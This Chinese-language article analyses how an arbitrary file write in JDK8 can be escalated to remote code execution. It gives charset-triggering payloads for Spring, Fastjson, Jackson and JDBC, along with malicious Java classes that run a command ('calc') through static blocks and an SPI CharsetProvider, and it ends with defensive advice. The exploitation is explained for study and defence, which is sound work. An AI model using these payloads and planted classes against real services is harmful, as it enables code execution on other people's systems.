JDK8任意文件写到RCE
字数 1257 2025-08-06 23:10:27
JDK8任意文件写到RCE漏洞分析与利用
0x01 漏洞背景
在JDK8环境下,当存在任意文件写入漏洞时,可以通过多种方式实现远程代码执行(RCE)。这种场景通常出现在以jar包形式运行的项目中,攻击者可以利用文件写入漏洞覆盖关键jar文件或类文件,通过类加载机制实现代码执行。
0x02 类加载机制分析
JDK8的类加载机制按照以下顺序进行:
- 引导类加载器(Bootstrap ClassLoader)
- 扩展类加载器(Extension ClassLoader)
- 应用程序类加载器(Application ClassLoader)
- 自定义类加载器
关键路径可以通过以下方式获取:
// 引导类加载路径
System.getProperty("sun.boot.class.path");
// 扩展类路径
System.getProperty("java.ext.dirs");
引导类加载器加载的核心jar包括:
- rt.jar
- jfr.jar
- jsse.jar
- jce.jar
- charsets.jar
0x03 利用charsets.jar实现RCE
利用原理
通过覆盖charsets.jar中的类,利用Class.forName触发静态代码块执行。
触发点示例代码
public class Test {
public static void main(String[] args) {
try {
Class.forName("sun.nio.cs.ext.GBK");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
实际应用场景触发方式
-
Spring Web应用
- 通过Accept头触发:
GET / HTTP/1.1 Accept: text/html;charset=GBK - 通过上传文件触发:
Content-Type: multipart/form-data; boundary=a Content-Length: 83 --a Content-Disposition: form-data; name="file"; filename*="GBK'test'" xxx --a
- 通过Accept头触发:
-
Fastjson
{ "x":{ "@type":"java.nio.charset.Charset", "val":"IBM33722" } } -
Jackson
["sun.nio.cs.ext.IBM33722",{"x":"y"}] -
JDBC连接
jdbc:mysql://127.0.0.1:3306/test?statementInterceptors=sun.nio.cs.ext.IBM33722
0x04 利用jre/lib/ext目录
利用条件
- 需要能够写入jre/lib/ext目录
- 需要应用有重启功能
利用方式
- 将恶意类打包为jar文件
- 写入jre/lib/ext目录
- 等待或触发应用重启,ExtClassLoader会自动加载
0x05 利用jre/classes目录
利用条件
- 需要能够创建jre/classes目录
- 需要应用有重启功能
利用方式
- 创建jre/classes目录
- 写入恶意.class文件
- 触发类加载
示例恶意类:
import java.io.IOException;
public class Evil implements AutoCloseable {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
0x06 利用SPI机制
利用原理
通过实现java.nio.charset.spi.CharsetProvider接口,利用SPI机制加载恶意类。
实现步骤
- 创建META-INF/services/java.nio.charset.spi.CharsetProvider文件
- 文件中写入恶意类全限定名
- 实现恶意CharsetProvider
示例代码:
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;
public class Evil extends java.nio.charset.spi.CharsetProvider {
@Override
public Iterator<Charset> charsets() {
return new HashSet<Charset>().iterator();
}
@Override
public Charset charsetForName(String charsetName) {
if (charsetName.startsWith("Evil")) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
return Charset.forName("UTF-8");
}
}
0x07 防御建议
- 限制文件写入权限,特别是对JDK目录的写入
- 及时更新JDK版本
- 对用户输入进行严格过滤
- 禁用不必要的SPI机制
- 监控关键jar文件和类文件的修改
0x08 参考资源
- Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
- [JDK8任意文件写场景下的SpringBoot RCE](https://threedr3am.github.io/2021/04/14/JDK8任意文件写场景下的SpringBoot RCE/)
- [JDK8任意文件写场景下的Fastjson RCE](https://threedr3am.github.io/2021/04/13/JDK8任意文件写场景下的Fastjson RCE/)
- Java SPI机制详解